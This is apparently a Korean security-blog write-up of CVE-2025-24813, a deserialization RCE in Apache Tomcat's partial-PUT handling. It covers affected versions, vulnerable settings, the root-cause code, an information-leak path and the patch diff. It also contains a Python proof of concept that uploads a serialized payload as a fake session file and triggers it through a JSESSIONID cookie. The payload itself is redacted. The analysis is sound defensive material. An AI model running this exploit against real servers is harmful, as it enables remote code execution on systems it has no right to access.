[하루한줄] CVE-2025-24813 Apache Tomcat의 안전하지 않은 역 직렬화로 인한 RCE 취약점

URL

Target

  • Apache Tomcat 11.0.0-M1 < 11.0.3
  • Apache Tomcat 10.1.0-M1 < 10.1.35
  • Apache Tomcat 9.0.0.M1 < 9.0.99

Explain

CVE-2025-24813은 Apache Tomcat의 안전하지 않은 역 직렬화로 인한 RCE 취약점 입니다. 이 취약점의 근본 원인은, Partial-PUT 처리를 할 때, /work/ 디렉토리에 파일을 업로드 하며 발생합니다. 직렬화된 페이로드를 세션 파일로 위장 업로드할 경우 톰캣이 해당 세션 파일을 읽게되며 RCE가 트리거됩니다.

[취약한 환경의 전제 조건]

  1. web.xml에서 디폴트 서블릿 쓰기 권한 허용 (기본 설정: false)
  2. PUT 요청 허용 (기본 설정: true)
  3. 세션 지속성 유지 옵션 허용 (기본 설정: false)
  4. 기본 임시디렉토리 경로 (기본 설정: $CATALINA_BASE/work)
  • web.xml 서블릿 쓰기 권한
<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>readonly</param-name> 
        <param-value>false</param-value> <!-- 취약한 설정 -->
    </init-param>
</servlet>
  • context.xml 세션 유지 옵션
<!-- 취약한 설정 -->
<Manager className="org.apache.catalina.session.PersistentManager"
				 maxIdleBackup="1"
				 saveOnRestart="true"
				 processExpiresFrequency="1">
	<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
  • host.xml 임시 파일 기본 경로 설정
<attribute name="workDir" required="false">
  <p>Pathname to a scratch directory to be used by applications for
  this Host. Each application will have its own sub directory with
  temporary read-write use.  Configuring a Context workDir will override
  use of the Host workDir configuration.  This directory will be made
  visible to servlets in the web application by a servlet context
  attribute (of type <code>java.io.File</code>) named
  <code>jakarta.servlet.context.tempdir</code> as described in the
  Servlet Specification.  If not specified, a suitable directory
  underneath <code>$CATALINA_BASE/work</code> will be provided.</p> <!-- 임시 파일 기본 경로 -->

</attribute>
  • 취약점 근본 원인

톰캣 서버 설정이 위와 같이 구성되어 있을 때 Partial-PUT 요청을 할 경우 executePartialPut 메소드에서 ServletContext.TEMPDIR라는 디렉토리에 파일을 업로드하도록 구현되어 있으며 해당 로직에서 2가지 취약점이 발생합니다.

protected File executePartialPut(HttpServletRequest req, ContentRange range, String path) throws IOException {

		 // ServletContext.TEMPDIR = **$CATALINA_BASE/work (기본 값) -> 정보유출 + RCE**
     File tempDir = (File) getServletContext().getAttribute(ServletContext.TEMPDIR);

     // 디렉토리 경로를 .으로 치환 **-> 정보유출**
     String convertedResourcePath = path.replace('/', '.');
     File contentFile = new File(tempDir, convertedResourcePath);
     if (contentFile.createNewFile()) {
         contentFile.deleteOnExit();
     }
  • 정보 유출

정상적인 Partial-PUT 요청으로 업로드 되는 파일이 있을 때 만약, 공격자가 업로드 되는 파일명을 미리 알고있을 경우 치환 로직path.replace('/', '.')을 통해 파일명을 추측하여 다운로드 받을 수 있게됩니다.

→ 업로드 경로: hxxp[://{VICTIM}/.git/config

→ 임시 파일 경로: hxxp[://{VICTIM}/work/.git.config

임시 파일은 Tomcat 프로세스가 종료될 때 까지 유지되어 이로인해 정보 유출이 발생합니다.

  • 임의파일쓰기 / 원격코드실행

공격자가 Partial-PUT Request를 통해 자바 가젯을 담아 .session 확장자로 파일을 생성할 경우, /work/ 디렉토리에 생성됩니다. 해당 경로는 톰캣이 세션 지속성 옵션(PersistentManager, FileStore)이 활성화 되어있을 때, 세션을 저장하고 로드하는 경로이기 때문에 공격자가 악성 페이로드를 업로드 했을 경우 직렬화 되며 원격코드실행이 트리거됩니다.

  • PoC 코드
import requests
import base64
import os

TARGET_IP = "hxxp[:]//www.wiresharkworkshop[.]online:8080/"

# b64_encoded_payload = "****[information redacted]****"

output_file_path = "decoded_chain.bin"
decoded_content = base64.b64decode(b64_encoded_payload)

with open(output_file_path, "wb") as f:
    f.write(decoded_content)

put_url = f"{TARGET_IP}/gopan.session"
put_headers = {"Content-Range": "bytes 0-5/100"}

with open(output_file_path, "rb") as f:
    put_response = requests.put(put_url, data=f, headers=put_headers)
os.remove(output_file_path)

get_url = f"{TARGET_IP}/"
get_headers = {"Cookie": "JSESSIONID=.gopan"}
get_response = requests.get(get_url, headers=get_headers)

https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2025-03-14-Testing-CVE-2025-24813.md

해당 취약점은 다음과 같이 패치 되었습니다.

  • RCE와 정보유출 방지를 위해 createTempFile 함수를 통해 파일명 난수화 및 확장자를 tmp로 처리
@@ -658,13 +661,7 @@ protected File executePartialPut(HttpServletRequest req, ContentRange range, Str

661 File tempDir = (File) getServletContext().getAttribute(ServletContext.TEMPDIR);
662 - // Convert all '/' characters to '.' in resourcePath
663 - String convertedResourcePath = path.replace('/', '.');
664 - File contentFile = new File(tempDir, convertedResourcePath);
665 - if (contentFile.createNewFile()) {
666 - // Clean up contentFile when Tomcat is terminated
667 - contentFile.deleteOnExit();
668 - }
664 + File contentFile = File.createTempFile("put-part-", null, tempDir);
  • 임시 파일 처리가 끝날 경우 바로 삭제
@@ -636,6 +636,9 @@ protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws Se
636 // Ignore
637 }
638 }
639 + if (tempContentFile != null) {
640 + tempContentFile.delete();
641 + }

Reference